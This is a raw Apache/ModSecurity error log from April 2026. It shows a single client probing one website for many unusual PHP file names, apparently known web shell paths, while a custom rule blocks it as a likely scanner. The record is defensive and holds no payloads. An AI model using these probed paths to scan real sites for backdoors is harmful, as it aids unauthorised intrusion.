[Sun Apr 05 22:02:51.226651 2026] [:error] [pid 45305:tid 45386] [client 68.221.134.12:21433] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rhvi43.php"] [unique_id "adJri-jDQjr7aWhjflBq8QAAAI8"]
[Sun Apr 05 22:02:51.820993 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:21478] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rhvi43.php"] [unique_id "adJri7boQ9eViZ4hdnlWtgAAAAM"]
[Sun Apr 05 22:02:52.328023 2026] [:error] [pid 45409:tid 45415] [client 68.221.134.12:21473] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rhvi43.php"] [unique_id "adJrjNHt_Oyw03gjCNgkRwAAAMQ"]
[Sun Apr 05 22:02:53.299637 2026] [:error] [pid 30921:tid 30945] [client 68.221.134.12:21340] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rhvi43.php"] [unique_id "adJrjWFGQVn8Q0ueB24u_gAAARY"]
[Sun Apr 05 22:02:54.072866 2026] [:error] [pid 45304:tid 45349] [client 68.221.134.12:21343] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adJrjg5jnqDKKovdRkkkiwAAAEU"]
[Sun Apr 05 22:02:54.778581 2026] [:error] [pid 45409:tid 45411] [client 68.221.134.12:21398] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adJrjtHt_Oyw03gjCNgkSwAAAMA"]
[Sun Apr 05 22:02:55.498693 2026] [:error] [pid 45304:tid 45356] [client 68.221.134.12:21416] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adJrjw5jnqDKKovdRkkkjQAAAEw"]
[Sun Apr 05 22:02:56.179270 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:21321] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adJrkNHt_Oyw03gjCNgkUAAAAMU"]
[Sun Apr 05 22:02:57.081880 2026] [:error] [pid 45304:tid 45344] [client 68.221.134.12:21467] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webx.php"] [unique_id "adJrkQ5jnqDKKovdRkkkkQAAAEA"]
[Sun Apr 05 22:02:57.756867 2026] [:error] [pid 45303:tid 45341] [client 68.221.134.12:21480] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webx.php"] [unique_id "adJrkbboQ9eViZ4hdnlWvwAAABg"]
[Sun Apr 05 22:02:58.594043 2026] [:error] [pid 30921:tid 30923] [client 68.221.134.12:21341] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webx.php"] [unique_id "adJrkmFGQVn8Q0ueB24vBQAAAQA"]
[Sun Apr 05 22:02:59.120703 2026] [proxy_fcgi:error] [pid 45303:tid 45327] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:02:59.372087 2026] [proxy_fcgi:error] [pid 45303:tid 45333] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:02:59.631180 2026] [proxy_fcgi:error] [pid 45303:tid 45323] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:02:59.886121 2026] [proxy_fcgi:error] [pid 45303:tid 45335] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:00.140170 2026] [proxy_fcgi:error] [pid 45303:tid 45331] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:00.397685 2026] [proxy_fcgi:error] [pid 45303:tid 45336] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:00.640208 2026] [proxy_fcgi:error] [pid 45303:tid 45327] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:00.883466 2026] [proxy_fcgi:error] [pid 45303:tid 45340] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:01.124855 2026] [proxy_fcgi:error] [pid 45303:tid 45317] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:01.366745 2026] [proxy_fcgi:error] [pid 45303:tid 45341] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:01.659664 2026] [proxy_fcgi:error] [pid 45303:tid 45322] [client 68.221.134.12:21481] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:03:01.899574 2026] [:error] [pid 45303:tid 45326] [client 68.221.134.12:21481] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zjllx.php"] [unique_id "adJrlbboQ9eViZ4hdnlW3AAAAAk"]
[Sun Apr 05 22:03:02.517123 2026] [:error] [pid 30921:tid 30931] [client 68.221.134.12:21438] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zjllx.php"] [unique_id "adJrlmFGQVn8Q0ueB24vCwAAAQg"]
[Sun Apr 05 22:03:03.072607 2026] [:error] [pid 45409:tid 45411] [client 68.221.134.12:21425] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zjllx.php"] [unique_id "adJrl9Ht_Oyw03gjCNgkagAAAMA"]
[Sun Apr 05 22:03:03.666706 2026] [:error] [pid 45305:tid 45381] [client 68.221.134.12:21196] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zjllx.php"] [unique_id "adJrl-jDQjr7aWhjflBq_QAAAIo"]
[Sun Apr 05 22:03:04.175556 2026] [:error] [pid 45305:tid 45375] [client 68.221.134.12:21486] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "adJrmOjDQjr7aWhjflBq_gAAAIQ"]
[Sun Apr 05 22:03:04.654600 2026] [:error] [pid 45304:tid 45357] [client 68.221.134.12:21327] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "adJrmA5jnqDKKovdRkkknQAAAE0"]
[Sun Apr 05 22:03:05.183543 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:21364] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "adJrmQ5jnqDKKovdRkkkoAAAAFQ"]
[Sun Apr 05 22:03:05.668211 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21385] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "adJrmdHt_Oyw03gjCNgkbgAAANg"]
[Sun Apr 05 22:03:06.209080 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:21349] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adJrmtHt_Oyw03gjCNgkcgAAANY"]
[Sun Apr 05 22:03:06.786994 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:21435] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adJrmtHt_Oyw03gjCNgkdgAAANM"]
[Sun Apr 05 22:03:07.329290 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:21409] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adJrm9Ht_Oyw03gjCNgkeAAAANA"]
[Sun Apr 05 22:03:07.865219 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:21328] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "adJrm9Ht_Oyw03gjCNgkfAAAAMk"]
[Sun Apr 05 22:03:08.386025 2026] [:error] [pid 45409:tid 45424] [client 68.221.134.12:21414] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "adJrnNHt_Oyw03gjCNgkgAAAAM0"]
[Sun Apr 05 22:03:08.863822 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:21370] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "adJrnNHt_Oyw03gjCNgkhQAAAMc"]
[Sun Apr 05 22:03:09.408477 2026] [:error] [pid 45305:tid 45393] [client 68.221.134.12:21491] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "adJrnejDQjr7aWhjflBrBwAAAJY"]
[Sun Apr 05 22:03:09.900607 2026] [:error] [pid 45303:tid 45333] [client 68.221.134.12:21458] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "adJrnbboQ9eViZ4hdnlW3wAAABA"]
[Sun Apr 05 22:03:10.421163 2026] [:error] [pid 45304:tid 45347] [client 68.221.134.12:21411] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dbc.php"] [unique_id "adJrng5jnqDKKovdRkkkqgAAAEM"]
[Sun Apr 05 22:03:11.013155 2026] [:error] [pid 45304:tid 45350] [client 68.221.134.12:21430] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dbc.php"] [unique_id "adJrnw5jnqDKKovdRkkkqwAAAEY"]
[Sun Apr 05 22:03:11.534362 2026] [:error] [pid 45305:tid 45388] [client 68.221.134.12:21432] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dbc.php"] [unique_id "adJrn-jDQjr7aWhjflBrCgAAAJE"]
[Sun Apr 05 22:03:12.077881 2026] [:error] [pid 45409:tid 45419] [client 68.221.134.12:21296] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dbc.php"] [unique_id "adJroNHt_Oyw03gjCNgkjgAAAMg"]
[Sun Apr 05 22:03:12.567125 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:21406] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adJroNHt_Oyw03gjCNgkkQAAAMM"]
[Sun Apr 05 22:03:13.060183 2026] [:error] [pid 30921:tid 30931] [client 68.221.134.12:21319] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adJroWFGQVn8Q0ueB24vFAAAAQg"]
[Sun Apr 05 22:03:13.572972 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:21380] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adJrodHt_Oyw03gjCNgklwAAANE"]
[Sun Apr 05 22:03:14.063199 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21258] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adJrotHt_Oyw03gjCNgkmwAAAMI"]
[Sun Apr 05 22:03:14.557416 2026] [:error] [pid 45409:tid 45426] [client 68.221.134.12:21407] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ukaa.php"] [unique_id "adJrotHt_Oyw03gjCNgkoAAAAM8"]
[Sun Apr 05 22:03:15.055371 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:21424] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ukaa.php"] [unique_id "adJro9Ht_Oyw03gjCNgkowAAAMo"]
[Sun Apr 05 22:03:15.643475 2026] [:error] [pid 45409:tid 45425] [client 68.221.134.12:21256] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ukaa.php"] [unique_id "adJro9Ht_Oyw03gjCNgkpwAAAM4"]
[Sun Apr 05 22:03:16.210653 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:21317] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ukaa.php"] [unique_id "adJrpLboQ9eViZ4hdnlW5AAAAA4"]
[Sun Apr 05 22:03:16.716990 2026] [:error] [pid 30921:tid 30925] [client 68.221.134.12:21334] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xs.php"] [unique_id "adJrpGFGQVn8Q0ueB24vFgAAAQI"]
[Sun Apr 05 22:03:17.197390 2026] [:error] [pid 45304:tid 45350] [client 68.221.134.12:21394] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xs.php"] [unique_id "adJrpQ5jnqDKKovdRkkkswAAAEY"]
[Sun Apr 05 22:03:17.709786 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:21468] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xs.php"] [unique_id "adJrpbboQ9eViZ4hdnlW6QAAAAo"]
[Sun Apr 05 22:03:18.205484 2026] [:error] [pid 45303:tid 45341] [client 68.221.134.12:21337] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xs.php"] [unique_id "adJrprboQ9eViZ4hdnlW6wAAABg"]
[Sun Apr 05 22:03:18.737476 2026] [:error] [pid 30921:tid 30926] [client 68.221.134.12:21270] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adJrpmFGQVn8Q0ueB24vGgAAAQM"]
[Sun Apr 05 22:03:19.217752 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:21313] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adJrp9Ht_Oyw03gjCNgkrgAAANU"]
[Sun Apr 05 22:03:19.719220 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:21184] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adJrp9Ht_Oyw03gjCNgksAAAAMM"]
[Sun Apr 05 22:03:20.214738 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21401] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "adJrqNHt_Oyw03gjCNgksgAAANg"]
[Sun Apr 05 22:03:20.728761 2026] [:error] [pid 45305:tid 45394] [client 68.221.134.12:21428] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "adJrqOjDQjr7aWhjflBrFgAAAJc"]
[Sun Apr 05 22:03:21.233603 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:21492] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "adJrqbboQ9eViZ4hdnlW9wAAAAg"]
[Sun Apr 05 22:03:21.747479 2026] [:error] [pid 45409:tid 45425] [client 68.221.134.12:21477] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "adJrqdHt_Oyw03gjCNgkvwAAAM4"]
[Sun Apr 05 22:03:22.258379 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21494] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "adJrqtHt_Oyw03gjCNgkwQAAAMI"]
[Sun Apr 05 22:03:22.756371 2026] [:error] [pid 30921:tid 30923] [client 68.221.134.12:21254] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adJrqmFGQVn8Q0ueB24vHQAAAQA"]
[Sun Apr 05 22:03:23.258075 2026] [:error] [pid 45305:tid 45377] [client 68.221.134.12:21278] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adJrq-jDQjr7aWhjflBrGAAAAIY"]
